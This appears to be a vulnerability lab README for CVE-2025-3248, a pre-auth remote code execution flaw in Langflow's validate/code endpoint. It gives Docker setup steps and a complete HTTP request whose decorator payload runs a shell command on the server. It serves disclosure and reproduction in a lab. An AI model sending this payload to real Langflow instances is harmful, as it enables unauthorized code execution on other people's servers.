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# Langflow `validate/code` API Pre-Auth Remote Code Execution (CVE-2025-3248)
[中文版本(Chinese version)](README.zh-cn.md)
Langflow is a popular open-source tool for building agentic AI workflows, providing a Python-based web interface to visually construct AI-driven agents and pipelines.
A critical unauthenticated remote code execution vulnerability (CVE-2025-3248) exists in Langflow prior to version 1.3.0. An vulnerable endpoint (`/api/v1/validate/code`) attempts to validate user-submitted Python code by parsing it with the `ast` module and executing any function definitions using `exec`. However, Python decorators and default argument expressions are also executed at function definition time, making it possible to inject arbitrary code via these features.
Attackers can exploit this issue by sending a specially crafted function definition with a malicious decorator or default argument, resulting in code execution as the server user.
References:
- <https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/>
- <https://github.com/langflow-ai/langflow/releases/tag/1.3.0>
- <https://github.com/langflow-ai/langflow/pull/6911>
## Environment Setup
Execute the following command to start a Langflow 1.2.0 server:
```
docker compose up -d
```
After the server starts, the Langflow web interface will be available at `http://your-ip:7860`. You can login with the default credentials `administrator:vulhub`.
## Vulnerability Reproduction
To reproduce the vulnerability, you can send a POST request to the `/api/v1/validate/code` endpoint with a malicious Python function definition. For example, the following payload will execute `id` command on the server using a decorator:
```
POST /api/v1/validate/code HTTP/1.1
Host: your-ip:7860
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 105
{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass"}
```
![](1.png)